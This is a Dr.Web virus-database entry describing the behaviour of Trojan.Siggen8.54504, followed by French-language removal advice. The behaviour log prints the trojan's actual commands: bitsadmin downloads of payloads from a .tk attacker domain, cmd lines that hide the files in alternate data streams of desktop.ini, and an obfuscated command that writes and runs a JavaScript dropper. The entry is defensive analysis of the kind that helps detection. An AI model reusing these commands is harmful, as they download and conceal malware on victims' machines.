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Trojan.Siggen8.54504
Added to the Dr.Web virus database:
2019-11-09
Virus description added:
2019-11-11
Technical Information
Malicious functions
Creates and executes the following
'%WINDIR%\explorer.exe' /c, %TEMP%\Fv2g8UK.js
Modifies file system
Creates the following files
%TEMP%\fv2g8uk.js
C:\users\public\libraries\radm\desktop.ini:koddsuffygx.gif
C:\users\public\libraries\radm\bit8346.tmp
C:\users\public\libraries\radm\desktop.ini:koddsuffyg.gif
C:\users\public\libraries\radm\bit6b97.tmp
C:\users\public\libraries\radm\desktop.ini:koddsuffydx.gif
C:\users\public\libraries\radm\bit5203.tmp
C:\users\public\libraries\radm\bit9da5.tmp
C:\users\public\libraries\radm\desktop.ini:koddsuffydwwn.gif
C:\users\public\libraries\radm\desktop.ini:koddsuffyc.jpg
C:\users\public\libraries\radm\bit16ec.tmp
C:\users\public\libraries\radm\desktop.ini:koddsuffyb.jpg
C:\users\public\libraries\radm\bit3ef.tmp
C:\users\public\libraries\radm\desktop.ini:koddsuffya.jpg
C:\users\public\libraries\radm\bit8c2e.tmp
C:\users\public\libraries\radm\bit37a4.tmp
C:\users\public\libraries\radm\desktop.ini:koddsuffyi.gif
Sets the 'hidden' attribute to the following files
C:\users\public\libraries\radm\bit8c2e.tmp
C:\users\public\libraries\radm\bit3ef.tmp
C:\users\public\libraries\radm\bit16ec.tmp
C:\users\public\libraries\radm\bit37a4.tmp
C:\users\public\libraries\radm\bit5203.tmp
C:\users\public\libraries\radm\bit6b97.tmp
C:\users\public\libraries\radm\bit8346.tmp
C:\users\public\libraries\radm\bit9da5.tmp
Deletes the following files
C:\users\public\libraries\radm\koddsuffya.jpg
C:\users\public\libraries\radm\koddsuffyb.jpg
C:\users\public\libraries\radm\koddsuffyc.jpg
C:\users\public\libraries\radm\koddsuffydwwn.gif
C:\users\public\libraries\radm\koddsuffydx.gif
C:\users\public\libraries\radm\koddsuffyg.gif
C:\users\public\libraries\radm\koddsuffygx.gif
C:\users\public\libraries\radm\koddsuffyi.gif
Moves the following files
from C:\users\public\libraries\radm\bit8c2e.tmp to C:\users\public\libraries\radm\koddsuffya.jpg
from C:\users\public\libraries\radm\bit3ef.tmp to C:\users\public\libraries\radm\koddsuffyb.jpg
from C:\users\public\libraries\radm\bit16ec.tmp to C:\users\public\libraries\radm\koddsuffyc.jpg
from C:\users\public\libraries\radm\bit37a4.tmp to C:\users\public\libraries\radm\koddsuffydwwn.gif
from C:\users\public\libraries\radm\bit5203.tmp to C:\users\public\libraries\radm\koddsuffydx.gif
from C:\users\public\libraries\radm\bit6b97.tmp to C:\users\public\libraries\radm\koddsuffyg.gif
from C:\users\public\libraries\radm\bit8346.tmp to C:\users\public\libraries\radm\koddsuffygx.gif
from C:\users\public\libraries\radm\bit9da5.tmp to C:\users\public\libraries\radm\koddsuffyi.gif
Network activity
Connects to
TCP
'nw#####3a0t.2w9nwsir.cf':443
'wa#####oawt.d72ftdwh.tk':443
UDP
DNS ASK nw#####3a0t.2w9nwsir.cf
DNS ASK wa#####oawt.d72ftdwh.tk
DNS ASK public-trust.com
Miscellaneous
Creates and executes the following
'<SYSTEM32>\wscript.exe' "%TEMP%\Fv2g8UK.js"
'<SYSTEM32>\bitsadmin.exe' /transfer 74863 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyxb.gif.zip C:\Users\Public\Libraries\radm\koddsuffyxb.~' (with hidden window)
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyxa.~" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyxa.~"&&erase "C:\Users\Public\Libraries\radm\koddsuffyxa.~"' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 33928 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyxa.gif.zip C:\Users\Public\Libraries\radm\koddsuffyxa.~' (with hidden window)
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyi.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyi.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffyi.gif"' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 37580 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyi.gif.zip C:\Users\Public\Libraries\radm\koddsuffyi.gif' (with hidden window)
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffygx.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffygx.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffygx.gif"' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 98265 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffygx.gif.zip C:\Users\Public\Libraries\radm\koddsuffygx.gif' (with hidden window)
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyg.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyg.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffyg.gif"' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 60435 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyg.gif.zip C:\Users\Public\Libraries\radm\koddsuffyg.gif' (with hidden window)
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyxb.~" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyxb.~"&&erase "C:\Users\Public\Libraries\radm\koddsuffyxb.~"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffydx.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffydx.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffydx.gif"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffydwwn.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffydwwn.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffydwwn.gif"' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 89128 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffydwwn.gif.zip C:\Users\Public\Libraries\radm\koddsuffydwwn.gif' (with hidden window)
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyc.jpg" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyc.jpg"&&erase "C:\Users\Public\Libraries\radm\koddsuffyc.jpg"' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 60727 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyc.jpg.zip C:\Users\Public\Libraries\radm\koddsuffyc.jpg' (with hidden window)
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyb.jpg" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyb.jpg"&&erase "C:\Users\Public\Libraries\radm\koddsuffyb.jpg"' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 13839 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyb.jpg.zip C:\Users\Public\Libraries\radm\koddsuffyb.jpg' (with hidden window)
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffya.jpg" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffya.jpg"&&erase "C:\Users\Public\Libraries\radm\koddsuffya.jpg"' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 7437 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffya.jpg.zip C:\Users\Public\Libraries\radm\koddsuffya.jpg' (with hidden window)
'<SYSTEM32>\wscript.exe' "%TEMP%\Fv2g8UK.js"' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 67545 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffydx.gif.zip C:\Users\Public\Libraries\radm\koddsuffydx.gif' (with hidden window)
'<SYSTEM32>\bitsadmin.exe' /transfer 29088 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyxc.gif.zip C:\Users\Public\Libraries\radm\koddsuffyxc.~' (with hidden window)
Executes the following
'<SYSTEM32>\cmd.exe' /S /D /c" sET/p mj5idIc="%WHB:XMXJWQ=%%rjr4UJx:TGPCR=/%" 0<nul 1>%TEMP%\Fv2g8UK.js 2>&1"
'<SYSTEM32>\bitsadmin.exe' /transfer 74863 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyxb.gif.zip C:\Users\Public\Libraries\radm\koddsuffyxb.~
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyxa.~" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyxa.~"&&erase "C:\Users\Public\Libraries\radm\koddsuffyxa.~"
'<SYSTEM32>\bitsadmin.exe' /transfer 33928 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyxa.gif.zip C:\Users\Public\Libraries\radm\koddsuffyxa.~
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyi.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyi.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffyi.gif"
'<SYSTEM32>\bitsadmin.exe' /transfer 37580 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyi.gif.zip C:\Users\Public\Libraries\radm\koddsuffyi.gif
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffygx.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffygx.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffygx.gif"
'<SYSTEM32>\bitsadmin.exe' /transfer 98265 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffygx.gif.zip C:\Users\Public\Libraries\radm\koddsuffygx.gif
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyg.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyg.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffyg.gif"
'<SYSTEM32>\bitsadmin.exe' /transfer 60435 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyg.gif.zip C:\Users\Public\Libraries\radm\koddsuffyg.gif
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffydx.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffydx.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffydx.gif"
'<SYSTEM32>\bitsadmin.exe' /transfer 67545 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffydx.gif.zip C:\Users\Public\Libraries\radm\koddsuffydx.gif
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffydwwn.gif" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffydwwn.gif"&&erase "C:\Users\Public\Libraries\radm\koddsuffydwwn.gif"
'<SYSTEM32>\bitsadmin.exe' /transfer 89128 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffydwwn.gif.zip C:\Users\Public\Libraries\radm\koddsuffydwwn.gif
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyc.jpg" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyc.jpg"&&erase "C:\Users\Public\Libraries\radm\koddsuffyc.jpg"
'<SYSTEM32>\bitsadmin.exe' /transfer 60727 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyc.jpg.zip C:\Users\Public\Libraries\radm\koddsuffyc.jpg
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyb.jpg" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyb.jpg"&&erase "C:\Users\Public\Libraries\radm\koddsuffyb.jpg"
'<SYSTEM32>\bitsadmin.exe' /transfer 13839 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyb.jpg.zip C:\Users\Public\Libraries\radm\koddsuffyb.jpg
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffya.jpg" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffya.jpg"&&erase "C:\Users\Public\Libraries\radm\koddsuffya.jpg"
'<SYSTEM32>\bitsadmin.exe' /transfer 7437 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffya.jpg.zip C:\Users\Public\Libraries\radm\koddsuffya.jpg
'<SYSTEM32>\cmd.exe' /S /D /c" exiT"
'<SYSTEM32>\cmd.exe' /S /D /c" CAll %YQK:CCHEA=% %TEMP%\Fv2g8UK.js 2>&1"
'<SYSTEM32>\cmd.exe' /c type "C:\Users\Public\Libraries\radm\koddsuffyxb.~" > "C:\Users\Public\Libraries\radm\desktop.ini:koddsuffyxb.~"&&erase "C:\Users\Public\Libraries\radm\koddsuffyxb.~"
'<SYSTEM32>\bitsadmin.exe' /transfer 29088 /priority foreground https://wa5kyi2oawt.d72ftdwh.tk/06/koddsuffyxc.gif.zip C:\Users\Public\Libraries\radm\koddsuffyxc.~
Recommandations pour le traitement
Windows
macOS
Linux
Android
Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space .
Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.
Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android . Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
Débranchez votre appareil et rebranchez-le.
En savoir plus sur Dr.Web pour Android
Téléchargez Dr.Web pour Android
Gratuit pour 3 mois
Tous les composants de protection
Renouvellement de la démo via AppGallery/Google Pay
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